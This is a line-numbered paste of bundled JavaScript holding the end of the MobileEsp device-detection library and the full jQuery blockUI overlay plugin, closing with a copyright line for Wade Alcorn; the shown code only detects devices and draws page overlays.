  2473. if (this.DetectSonyPlaystation() ||
  2474. this.DetectNintendo() ||
  2475. this.DetectXbox())
  2476. return true;
  2477. else
  2478. return false;
  2479. },
  2480.  
  2481. //**************************
  2482. // Detects if the current device is a Sony Playstation.
  2483. DetectSonyPlaystation : function() {
  2484. if (this.uagent.search(this.devicePlaystation) > -1)
  2485. return true;
  2486. else
  2487. return false;
  2488. },
  2489.  
  2490. //**************************
  2491. // Detects if the current device is a handheld gaming device with
  2492. // a touchscreen and modern iPhone-class browser. Includes the Playstation Vita.
  2493. DetectGamingHandheld : function() {
  2494. if ((this.uagent.search(this.devicePlaystation) > -1) &&
  2495. (this.uagent.search(this.devicePlaystationVita) > -1))
  2496. return true;
  2497. else
  2498. return false;
  2499. },
  2500.  
  2501. //**************************
  2502. // Detects if the current device is a Nintendo game device.
  2503. DetectNintendo : function() {
  2504. if (this.uagent.search(this.deviceNintendo) > -1 ||
  2505. this.uagent.search(this.deviceWii) > -1 ||
  2506. this.uagent.search(this.deviceNintendoDs) > -1)
  2507. return true;
  2508. else
  2509. return false;
  2510. },
  2511.  
  2512. //**************************
  2513. // Detects if the current device is a Microsoft Xbox.
  2514. DetectXbox : function() {
  2515. if (this.uagent.search(this.deviceXbox) > -1)
  2516. return true;
  2517. else
  2518. return false;
  2519. },
  2520.  
  2521.  
  2522. //**************************
  2523. // Detects whether the device is a Brew-powered device.
  2524. // Note: Limited to older Brew-powered feature phones.
  2525. // Ignores newer Brew versions like MP. Refer to DetectMobileQuick().
  2526. DetectBrewDevice : function() {
  2527. if (this.uagent.search(this.deviceBrew) > -1)
  2528. return true;
  2529. else
  2530. return false;
  2531. },
  2532.  
  2533.  
  2534. // DEVICE CLASSES
  2535.  
  2536. //**************************
  2537. // Check to see whether the device is *any* 'smartphone'.
  2538. // Note: It's better to use DetectTierIphone() for modern touchscreen devices.
  2539. DetectSmartphone : function() {
  2540. //Exclude duplicates from TierIphone
  2541. if (this.DetectTierIphone() ||
  2542. this.DetectS60OssBrowser() ||
  2543. this.DetectSymbianOS() ||
  2544. this.DetectWindowsMobile() ||
  2545. this.DetectBlackBerry() ||
  2546. this.DetectMeegoPhone() ||
  2547. this.DetectPalmOS())
  2548. return true;
  2549.  
  2550. //Otherwise, return false.
  2551. return false;
  2552. },
  2553.  
  2554. //**************************
  2555. // Detects if the current device is a mobile device.
  2556. // This method catches most of the popular modern devices.
  2557. // Excludes Apple iPads and other modern tablets.
  2558. DetectMobileQuick : function() {
  2559. if (this.initCompleted || this.isMobilePhone)
  2560. return this.isMobilePhone;
  2561.  
  2562. //Let's exclude tablets.
  2563. if (this.DetectTierTablet())
  2564. return false;
  2565.  
  2566. //Most mobile browsing is done on smartphones
  2567. if (this.DetectSmartphone())
  2568. return true;
  2569.  
  2570. //Catch-all for many mobile devices
  2571. if (this.uagent.search(this.mobile) > -1)
  2572. return true;
  2573.  
  2574. if (this.DetectOperaMobile())
  2575. return true;
  2576.  
  2577. //We also look for Kindle devices
  2578. if (this.DetectKindle() ||
  2579. this.DetectAmazonSilk())
  2580. return true;
  2581.  
  2582. if (this.uagent.search(this.deviceMidp) > -1 ||
  2583. this.DetectBrewDevice())
  2584. return true;
  2585.  
  2586. if ((this.uagent.search(this.engineObigo) > -1) ||
  2587. (this.uagent.search(this.engineNetfront) > -1) ||
  2588. (this.uagent.search(this.engineUpBrowser) > -1))
  2589. return true;
  2590.  
  2591. return false;
  2592. },
  2593.  
  2594. //**************************
  2595. // Detects in a more comprehensive way if the current device is a mobile device.
  2596. DetectMobileLong : function() {
  2597. if (this.DetectMobileQuick())
  2598. return true;
  2599. if (this.DetectGameConsole())
  2600. return true;
  2601.  
  2602. if (this.DetectDangerHiptop() ||
  2603. this.DetectMaemoTablet() ||
  2604. this.DetectSonyMylo() ||
  2605. this.DetectArchos())
  2606. return true;
  2607.  
  2608. if ((this.uagent.search(this.devicePda) > -1) &&
  2609. !(this.uagent.search(this.disUpdate) > -1))
  2610. return true;
  2611.  
  2612. //Detect for certain very old devices with stupid useragent strings.
  2613. if ((this.uagent.search(this.manuSamsung1) > -1) ||
  2614. (this.uagent.search(this.manuSonyEricsson) > -1) ||
  2615. (this.uagent.search(this.manuericsson) > -1) ||
  2616. (this.uagent.search(this.svcDocomo) > -1) ||
  2617. (this.uagent.search(this.svcKddi) > -1) ||
  2618. (this.uagent.search(this.svcVodafone) > -1))
  2619. return true;
  2620.  
  2621. return false;
  2622. },
  2623.  
  2624. //*****************************
  2625. // For Mobile Web Site Design
  2626. //*****************************
  2627.  
  2628. //**************************
  2629. // The quick way to detect for a tier of devices.
  2630. // This method detects for the new generation of
  2631. // HTML 5 capable, larger screen tablets.
  2632. // Includes iPad, Android (e.g., Xoom), BB Playbook, WebOS, etc.
  2633. DetectTierTablet : function() {
  2634. if (this.initCompleted || this.isTierTablet)
  2635. return this.isTierTablet;
  2636.  
  2637. if (this.DetectIpad() ||
  2638. this.DetectAndroidTablet() ||
  2639. this.DetectBlackBerryTablet() ||
  2640. this.DetectFirefoxOSTablet() ||
  2641. this.DetectUbuntuTablet() ||
  2642. this.DetectWebOSTablet())
  2643. return true;
  2644. else
  2645. return false;
  2646. },
  2647.  
  2648. //**************************
  2649. // The quick way to detect for a tier of devices.
  2650. // This method detects for devices which can
  2651. // display iPhone-optimized web content.
  2652. // Includes iPhone, iPod Touch, Android, Windows Phone 7 and 8, BB10, WebOS, Playstation Vita, etc.
  2653. DetectTierIphone : function() {
  2654. if (this.initCompleted || this.isTierIphone)
  2655. return this.isTierIphone;
  2656.  
  2657. if (this.DetectIphoneOrIpod() ||
  2658. this.DetectAndroidPhone() ||
  2659. this.DetectWindowsPhone() ||
  2660. this.DetectBlackBerry10Phone() ||
  2661. this.DetectPalmWebOS() ||
  2662. this.DetectBada() ||
  2663. this.DetectTizen() ||
  2664. this.DetectFirefoxOSPhone() ||
  2665. this.DetectSailfishPhone() ||
  2666. this.DetectUbuntuPhone() ||
  2667. this.DetectGamingHandheld())
  2668. return true;
  2669.  
  2670. //Note: BB10 phone is in the previous paragraph
  2671. if (this.DetectBlackBerryWebKit() && this.DetectBlackBerryTouch())
  2672. return true;
  2673.  
  2674. else
  2675. return false;
  2676. },
  2677.  
  2678. //**************************
  2679. // The quick way to detect for a tier of devices.
  2680. // This method detects for devices which are likely to be
  2681. // capable of viewing CSS content optimized for the iPhone,
  2682. // but may not necessarily support JavaScript.
  2683. // Excludes all iPhone Tier devices.
  2684. DetectTierRichCss : function() {
  2685. if (this.initCompleted || this.isTierRichCss)
  2686. return this.isTierRichCss;
  2687.  
  2688. //Exclude iPhone and Tablet Tiers and e-Ink Kindle devices
  2689. if (this.DetectTierIphone() ||
  2690. this.DetectKindle() ||
  2691. this.DetectTierTablet())
  2692. return false;
  2693.  
  2694. //Exclude if not mobile
  2695. if (!this.DetectMobileQuick())
  2696. return false;
  2697.  
  2698. //If it's a mobile webkit browser on any other device, it's probably OK.
  2699. if (this.DetectWebkit())
  2700. return true;
  2701.  
  2702. //The following devices are also explicitly ok.
  2703. if (this.DetectS60OssBrowser() ||
  2704. this.DetectBlackBerryHigh() ||
  2705. this.DetectWindowsMobile() ||
  2706. (this.uagent.search(this.engineTelecaQ) > -1))
  2707. return true;
  2708.  
  2709. else
  2710. return false;
  2711. },
  2712.  
  2713. //**************************
  2714. // The quick way to detect for a tier of devices.
  2715. // This method detects for all other types of phones,
  2716. // but excludes the iPhone and RichCSS Tier devices.
  2717. // NOTE: This method probably won't work due to poor
  2718. // support for JavaScript among other devices.
  2719. DetectTierOtherPhones : function() {
  2720. if (this.initCompleted || this.isTierGenericMobile)
  2721. return this.isTierGenericMobile;
  2722.  
  2723. //Exclude iPhone, Rich CSS and Tablet Tiers
  2724. if (this.DetectTierIphone() ||
  2725. this.DetectTierRichCss() ||
  2726. this.DetectTierTablet())
  2727. return false;
  2728.  
  2729. //Otherwise, if it's mobile, it's OK
  2730. if (this.DetectMobileLong())
  2731. return true;
  2732.  
  2733. else
  2734. return false;
  2735. }
  2736.  
  2737. };
  2738.  
  2739. //Initialize the MobileEsp object
  2740. MobileEsp.InitDeviceScan();
  2741.  
  2742.  
  2743.  
  2744.  
  2745.  
  2746. /*!
  2747. * jQuery blockUI plugin
  2748. * Version 2.70.0-2014.11.23
  2749. * Requires jQuery v1.7 or later
  2750. *
  2751. * Examples at: http://malsup.com/jquery/block/
  2752. * Copyright (c) 2007-2013 M. Alsup
  2753. * Dual licensed under the MIT and GPL licenses:
  2754. * http://www.opensource.org/licenses/mit-license.php
  2755. * http://www.gnu.org/licenses/gpl.html
  2756. *
  2757. * Thanks to Amir-Hossein Sobhi for some excellent contributions!
  2758. */
  2759.  
  2760. ;(function() {
  2761. /*jshint eqeqeq:false curly:false latedef:false */
  2762. "use strict";
  2763.  
  2764. function setup($) {
  2765. $.fn._fadeIn = $.fn.fadeIn;
  2766.  
  2767. var noOp = $.noop || function() {};
  2768.  
  2769. // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
  2770. // confusing userAgent strings on Vista)
  2771. var msie = /MSIE/.test(navigator.userAgent);
  2772. var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
  2773. var mode = document.documentMode || 0;
  2774. var setExpr = $.isFunction( document.createElement('div').style.setExpression );
  2775.  
  2776. // global $ methods for blocking/unblocking the entire page
  2777. $.blockUI = function(opts) { install(window, opts); };
  2778. $.unblockUI = function(opts) { remove(window, opts); };
  2779.  
  2780. // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
  2781. $.growlUI = function(title, message, timeout, onClose) {
  2782. var $m = $('<div class="growlUI"></div>');
  2783. if (title) $m.append('<h1>'+title+'</h1>');
  2784. if (message) $m.append('<h2>'+message+'</h2>');
  2785. if (timeout === undefined) timeout = 3000;
  2786.  
  2787. // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
  2788. var callBlock = function(opts) {
  2789. opts = opts || {};
  2790.  
  2791. $.blockUI({
  2792. message: $m,
  2793. fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
  2794. fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
  2795. timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
  2796. centerY: false,
  2797. showOverlay: false,
  2798. onUnblock: onClose,
  2799. css: $.blockUI.defaults.growlCSS
  2800. });
  2801. };
  2802.  
  2803. callBlock();
  2804. var nonmousedOpacity = $m.css('opacity');
  2805. $m.mouseover(function() {
  2806. callBlock({
  2807. fadeIn: 0,
  2808. timeout: 30000
  2809. });
  2810.  
  2811. var displayBlock = $('.blockMsg');
  2812. displayBlock.stop(); // cancel fadeout if it has started
  2813. displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
  2814. }).mouseout(function() {
  2815. $('.blockMsg').fadeOut(1000);
  2816. });
  2817. // End konapun additions
  2818. };
  2819.  
  2820. // plugin method for blocking element content
  2821. $.fn.block = function(opts) {
  2822. if ( this[0] === window ) {
  2823. $.blockUI( opts );
  2824. return this;
  2825. }
  2826. var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
  2827. this.each(function() {
  2828. var $el = $(this);
  2829. if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
  2830. return;
  2831. $el.unblock({ fadeOut: 0 });
  2832. });
  2833.  
  2834. return this.each(function() {
  2835. if ($.css(this,'position') == 'static') {
  2836. this.style.position = 'relative';
  2837. $(this).data('blockUI.static', true);
  2838. }
  2839. this.style.zoom = 1; // force 'hasLayout' in ie
  2840. install(this, opts);
  2841. });
  2842. };
  2843.  
  2844. // plugin method for unblocking element content
  2845. $.fn.unblock = function(opts) {
  2846. if ( this[0] === window ) {
  2847. $.unblockUI( opts );
  2848. return this;
  2849. }
  2850. return this.each(function() {
  2851. remove(this, opts);
  2852. });
  2853. };
  2854.  
  2855. $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
  2856.  
  2857. // override these in your code to change the default behavior and style
  2858. $.blockUI.defaults = {
  2859. // message displayed when blocking (use null for no message)
  2860. message: '<h1>Please wait...</h1>',
  2861.  
  2862. title: null, // title string; only used when theme == true
  2863. draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
  2864.  
  2865. theme: false, // set to true to use with jQuery UI themes
  2866.  
  2867. // styles for the message when blocking; if you wish to disable
  2868. // these and use an external stylesheet then do this in your code:
  2869. // $.blockUI.defaults.css = {};
  2870. css: {
  2871. padding: 0,
  2872. margin: 0,
  2873. width: '30%',
  2874. top: '40%',
  2875. left: '35%',
  2876. textAlign: 'center',
  2877. color: '#000',
  2878. border: '3px solid #aaa',
  2879. backgroundColor:'#fff',
  2880. cursor: 'wait'
  2881. },
  2882.  
  2883. // minimal style set used when themes are used
  2884. themedCSS: {
  2885. width: '30%',
  2886. top: '40%',
  2887. left: '35%'
  2888. },
  2889.  
  2890. // styles for the overlay
  2891. overlayCSS: {
  2892. backgroundColor: '#000',
  2893. opacity: 0.6,
  2894. cursor: 'wait'
  2895. },
  2896.  
  2897. // style to replace wait cursor before unblocking to correct issue
  2898. // of lingering wait cursor
  2899. cursorReset: 'default',
  2900.  
  2901. // styles applied when using $.growlUI
  2902. growlCSS: {
  2903. width: '350px',
  2904. top: '10px',
  2905. left: '',
  2906. right: '10px',
  2907. border: 'none',
  2908. padding: '5px',
  2909. opacity: 0.6,
  2910. cursor: 'default',
  2911. color: '#fff',
  2912. backgroundColor: '#000',
  2913. '-webkit-border-radius':'10px',
  2914. '-moz-border-radius': '10px',
  2915. 'border-radius': '10px'
  2916. },
  2917.  
  2918. // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
  2919. // (hat tip to Jorge H. N. de Vasconcelos)
  2920. /*jshint scripturl:true */
  2921. iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
  2922.  
  2923. // force usage of iframe in non-IE browsers (handy for blocking applets)
  2924. forceIframe: false,
  2925.  
  2926. // z-index for the blocking overlay
  2927. baseZ: 1000,
  2928.  
  2929. // set these to true to have the message automatically centered
  2930. centerX: true, // <-- only effects element blocking (page block controlled via css above)
  2931. centerY: true,
  2932.  
  2933. // allow body element to be stetched in ie6; this makes blocking look better
  2934. // on "short" pages. disable if you wish to prevent changes to the body height
  2935. allowBodyStretch: true,
  2936.  
  2937. // enable if you want key and mouse events to be disabled for content that is blocked
  2938. bindEvents: true,
  2939.  
  2940. // be default blockUI will supress tab navigation from leaving blocking content
  2941. // (if bindEvents is true)
  2942. constrainTabKey: true,
  2943.  
  2944. // fadeIn time in millis; set to 0 to disable fadeIn on block
  2945. fadeIn: 200,
  2946.  
  2947. // fadeOut time in millis; set to 0 to disable fadeOut on unblock
  2948. fadeOut: 400,
  2949.  
  2950. // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
  2951. timeout: 0,
  2952.  
  2953. // disable if you don't want to show the overlay
  2954. showOverlay: true,
  2955.  
  2956. // if true, focus will be placed in the first available input field when
  2957. // page blocking
  2958. focusInput: true,
  2959.  
  2960. // elements that can receive focus
  2961. focusableElements: ':input:enabled:visible',
  2962.  
  2963. // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
  2964. // no longer needed in 2012
  2965. // applyPlatformOpacityRules: true,
  2966.  
  2967. // callback method invoked when fadeIn has completed and blocking message is visible
  2968. onBlock: null,
  2969.  
  2970. // callback method invoked when unblocking has completed; the callback is
  2971. // passed the element that has been unblocked (which is the window object for page
  2972. // blocks) and the options that were passed to the unblock call:
  2973. // onUnblock(element, options)
  2974. onUnblock: null,
  2975.  
  2976. // callback method invoked when the overlay area is clicked.
  2977. // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
  2978. onOverlayClick: null,
  2979.  
  2980. // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
  2981. quirksmodeOffsetHack: 4,
  2982.  
  2983. // class name of the message block
  2984. blockMsgClass: 'blockMsg',
  2985.  
  2986. // if it is already blocked, then ignore it (don't unblock and reblock)
  2987. ignoreIfBlocked: false
  2988. };
  2989.  
  2990. // private data and functions follow...
  2991.  
  2992. var pageBlock = null;
  2993. var pageBlockEls = [];
  2994.  
  2995. function install(el, opts) {
  2996. var css, themedCSS;
  2997. var full = (el == window);
  2998. var msg = (opts && opts.message !== undefined ? opts.message : undefined);
  2999. opts = $.extend({}, $.blockUI.defaults, opts || {});
  3000.  
  3001. if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
  3002. return;
  3003.  
  3004. opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
  3005. css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
  3006. if (opts.onOverlayClick)
  3007. opts.overlayCSS.cursor = 'pointer';
  3008.  
  3009. themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
  3010. msg = msg === undefined ? opts.message : msg;
  3011.  
  3012. // remove the current block (if there is one)
  3013. if (full && pageBlock)
  3014. remove(window, {fadeOut:0});
  3015.  
  3016. // if an existing element is being used as the blocking content then we capture
  3017. // its current place in the DOM (and current display style) so we can restore
  3018. // it when we unblock
  3019. if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
  3020. var node = msg.jquery ? msg[0] : msg;
  3021. var data = {};
  3022. $(el).data('blockUI.history', data);
  3023. data.el = node;
  3024. data.parent = node.parentNode;
  3025. data.display = node.style.display;
  3026. data.position = node.style.position;
  3027. if (data.parent)
  3028. data.parent.removeChild(node);
  3029. }
  3030.  
  3031. $(el).data('blockUI.onUnblock', opts.onUnblock);
  3032. var z = opts.baseZ;
  3033.  
  3034. // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
  3035. // layer1 is the iframe layer which is used to supress bleed through of underlying content
  3036. // layer2 is the overlay layer which has opacity and a wait cursor (by default)
  3037. // layer3 is the message content that is displayed while blocking
  3038. var lyr1, lyr2, lyr3, s;
  3039. if (msie || opts.forceIframe)
  3040. lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
  3041. else
  3042. lyr1 = $('<div class="blockUI" style="display:none"></div>');
  3043.  
  3044. if (opts.theme)
  3045. lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
  3046. else
  3047. lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
  3048.  
  3049. if (opts.theme && full) {
  3050. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
  3051. if ( opts.title ) {
  3052. s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  3053. }
  3054. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  3055. s += '</div>';
  3056. }
  3057. else if (opts.theme) {
  3058. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
  3059. if ( opts.title ) {
  3060. s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  3061. }
  3062. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  3063. s += '</div>';
  3064. }
  3065. else if (full) {
  3066. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
  3067. }
  3068. else {
  3069. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
  3070. }
  3071. lyr3 = $(s);
  3072.  
  3073. // if we have a message, style it
  3074. if (msg) {
  3075. if (opts.theme) {
  3076. lyr3.css(themedCSS);
  3077. lyr3.addClass('ui-widget-content');
  3078. }
  3079. else
  3080. lyr3.css(css);
  3081. }
  3082.  
  3083. // style the overlay
  3084. if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
  3085. lyr2.css(opts.overlayCSS);
  3086. lyr2.css('position', full ? 'fixed' : 'absolute');
  3087.  
  3088. // make iframe layer transparent in IE
  3089. if (msie || opts.forceIframe)
  3090. lyr1.css('opacity',0.0);
  3091.  
  3092. //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
  3093. var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
  3094. $.each(layers, function() {
  3095. this.appendTo($par);
  3096. });
  3097.  
  3098. if (opts.theme && opts.draggable && $.fn.draggable) {
  3099. lyr3.draggable({
  3100. handle: '.ui-dialog-titlebar',
  3101. cancel: 'li'
  3102. });
  3103. }
  3104.  
  3105. // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
  3106. var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
  3107. if (ie6 || expr) {
  3108. // give body 100% height
  3109. if (full && opts.allowBodyStretch && $.support.boxModel)
  3110. $('html,body').css('height','100%');
  3111.  
  3112. // fix ie6 issue when blocked element has a border width
  3113. if ((ie6 || !$.support.boxModel) && !full) {
  3114. var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
  3115. var fixT = t ? '(0 - '+t+')' : 0;
  3116. var fixL = l ? '(0 - '+l+')' : 0;
  3117. }
  3118.  
  3119. // simulate fixed position
  3120. $.each(layers, function(i,o) {
  3121. var s = o[0].style;
  3122. s.position = 'absolute';
  3123. if (i < 2) {
  3124. if (full)
  3125. s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
  3126. else
  3127. s.setExpression('height','this.parentNode.offsetHeight + "px"');
  3128. if (full)
  3129. s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
  3130. else
  3131. s.setExpression('width','this.parentNode.offsetWidth + "px"');
  3132. if (fixL) s.setExpression('left', fixL);
  3133. if (fixT) s.setExpression('top', fixT);
  3134. }
  3135. else if (opts.centerY) {
  3136. if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
  3137. s.marginTop = 0;
  3138. }
  3139. else if (!opts.centerY && full) {
  3140. var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
  3141. var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
  3142. s.setExpression('top',expression);
  3143. }
  3144. });
  3145. }
  3146.  
  3147. // show the message
  3148. if (msg) {
  3149. if (opts.theme)
  3150. lyr3.find('.ui-widget-content').append(msg);
  3151. else
  3152. lyr3.append(msg);
  3153. if (msg.jquery || msg.nodeType)
  3154. $(msg).show();
  3155. }
  3156.  
  3157. if ((msie || opts.forceIframe) && opts.showOverlay)
  3158. lyr1.show(); // opacity is zero
  3159. if (opts.fadeIn) {
  3160. var cb = opts.onBlock ? opts.onBlock : noOp;
  3161. var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
  3162. var cb2 = msg ? cb : noOp;
  3163. if (opts.showOverlay)
  3164. lyr2._fadeIn(opts.fadeIn, cb1);
  3165. if (msg)
  3166. lyr3._fadeIn(opts.fadeIn, cb2);
  3167. }
  3168. else {
  3169. if (opts.showOverlay)
  3170. lyr2.show();
  3171. if (msg)
  3172. lyr3.show();
  3173. if (opts.onBlock)
  3174. opts.onBlock.bind(lyr3)();
  3175. }
  3176.  
  3177. // bind key and mouse events
  3178. bind(1, el, opts);
  3179.  
  3180. if (full) {
  3181. pageBlock = lyr3[0];
  3182. pageBlockEls = $(opts.focusableElements,pageBlock);
  3183. if (opts.focusInput)
  3184. setTimeout(focus, 20);
  3185. }
  3186. else
  3187. center(lyr3[0], opts.centerX, opts.centerY);
  3188.  
  3189. if (opts.timeout) {
  3190. // auto-unblock
  3191. var to = setTimeout(function() {
  3192. if (full)
  3193. $.unblockUI(opts);
  3194. else
  3195. $(el).unblock(opts);
  3196. }, opts.timeout);
  3197. $(el).data('blockUI.timeout', to);
  3198. }
  3199. }
  3200.  
  3201. // remove the block
  3202. function remove(el, opts) {
  3203. var count;
  3204. var full = (el == window);
  3205. var $el = $(el);
  3206. var data = $el.data('blockUI.history');
  3207. var to = $el.data('blockUI.timeout');
  3208. if (to) {
  3209. clearTimeout(to);
  3210. $el.removeData('blockUI.timeout');
  3211. }
  3212. opts = $.extend({}, $.blockUI.defaults, opts || {});
  3213. bind(0, el, opts); // unbind events
  3214.  
  3215. if (opts.onUnblock === null) {
  3216. opts.onUnblock = $el.data('blockUI.onUnblock');
  3217. $el.removeData('blockUI.onUnblock');
  3218. }
  3219.  
  3220. var els;
  3221. if (full) // crazy selector to handle odd field errors in ie6/7
  3222. els = $('body').children().filter('.blockUI').add('body > .blockUI');
  3223. else
  3224. els = $el.find('>.blockUI');
  3225.  
  3226. // fix cursor issue
  3227. if ( opts.cursorReset ) {
  3228. if ( els.length > 1 )
  3229. els[1].style.cursor = opts.cursorReset;
  3230. if ( els.length > 2 )
  3231. els[2].style.cursor = opts.cursorReset;
  3232. }
  3233.  
  3234. if (full)
  3235. pageBlock = pageBlockEls = null;
  3236.  
  3237. if (opts.fadeOut) {
  3238. count = els.length;
  3239. els.stop().fadeOut(opts.fadeOut, function() {
  3240. if ( --count === 0)
  3241. reset(els,data,opts,el);
  3242. });
  3243. }
  3244. else
  3245. reset(els, data, opts, el);
  3246. }
  3247.  
  3248. // move blocking element back into the DOM where it started
  3249. function reset(els,data,opts,el) {
  3250. var $el = $(el);
  3251. if ( $el.data('blockUI.isBlocked') )
  3252. return;
  3253.  
  3254. els.each(function(i,o) {
  3255. // remove via DOM calls so we don't lose event handlers
  3256. if (this.parentNode)
  3257. this.parentNode.removeChild(this);
  3258. });
  3259.  
  3260. if (data && data.el) {
  3261. data.el.style.display = data.display;
  3262. data.el.style.position = data.position;
  3263. data.el.style.cursor = 'default'; // #59
  3264. if (data.parent)
  3265. data.parent.appendChild(data.el);
  3266. $el.removeData('blockUI.history');
  3267. }
  3268.  
  3269. if ($el.data('blockUI.static')) {
  3270. $el.css('position', 'static'); // #22
  3271. }
  3272.  
  3273. if (typeof opts.onUnblock == 'function')
  3274. opts.onUnblock(el,opts);
  3275.  
  3276. // fix issue in Safari 6 where block artifacts remain until reflow
  3277. var body = $(document.body), w = body.width(), cssW = body[0].style.width;
  3278. body.width(w-1).width(w);
  3279. body[0].style.width = cssW;
  3280. }
  3281.  
  3282. // bind/unbind the handler
  3283. function bind(b, el, opts) {
  3284. var full = el == window, $el = $(el);
  3285.  
  3286. // don't bother unbinding if there is nothing to unbind
  3287. if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
  3288. return;
  3289.  
  3290. $el.data('blockUI.isBlocked', b);
  3291.  
  3292. // don't bind events when overlay is not in use or if bindEvents is false
  3293. if (!full || !opts.bindEvents || (b && !opts.showOverlay))
  3294. return;
  3295.  
  3296. // bind anchors and inputs for mouse and key events
  3297. var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
  3298. if (b)
  3299. $(document).bind(events, opts, handler);
  3300. else
  3301. $(document).unbind(events, handler);
  3302.  
  3303. // former impl...
  3304. // var $e = $('a,:input');
  3305. // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
  3306. }
  3307.  
  3308. // event handler to suppress keyboard/mouse events when blocking
  3309. function handler(e) {
  3310. // allow tab navigation (conditionally)
  3311. if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
  3312. if (pageBlock && e.data.constrainTabKey) {
  3313. var els = pageBlockEls;
  3314. var fwd = !e.shiftKey && e.target === els[els.length-1];
  3315. var back = e.shiftKey && e.target === els[0];
  3316. if (fwd || back) {
  3317. setTimeout(function(){focus(back);},10);
  3318. return false;
  3319. }
  3320. }
  3321. }
  3322. var opts = e.data;
  3323. var target = $(e.target);
  3324. if (target.hasClass('blockOverlay') && opts.onOverlayClick)
  3325. opts.onOverlayClick(e);
  3326.  
  3327. // allow events within the message content
  3328. if (target.parents('div.' + opts.blockMsgClass).length > 0)
  3329. return true;
  3330.  
  3331. // allow events for content that is not being blocked
  3332. return target.parents().children().filter('div.blockUI').length === 0;
  3333. }
  3334.  
  3335. function focus(back) {
  3336. if (!pageBlockEls)
  3337. return;
  3338. var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
  3339. if (e)
  3340. e.focus();
  3341. }
  3342.  
  3343. function center(el, x, y) {
  3344. var p = el.parentNode, s = el.style;
  3345. var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
  3346. var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
  3347. if (x) s.left = l > 0 ? (l+'px') : '0';
  3348. if (y) s.top = t > 0 ? (t+'px') : '0';
  3349. }
  3350.  
  3351. function sz(el, p) {
  3352. return parseInt($.css(el,p),10)||0;
  3353. }
  3354.  
  3355. }
  3356.  
  3357.  
  3358. /*global define:true */
  3359. if (typeof define === 'function' && define.amd && define.amd.jQuery) {
  3360. define(['jquery'], setup);
  3361. } else {
  3362. setup(jQuery);
  3363. }
  3364.  
  3365. })();
  3366.  
  3367.  
  3368. //
  3369. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
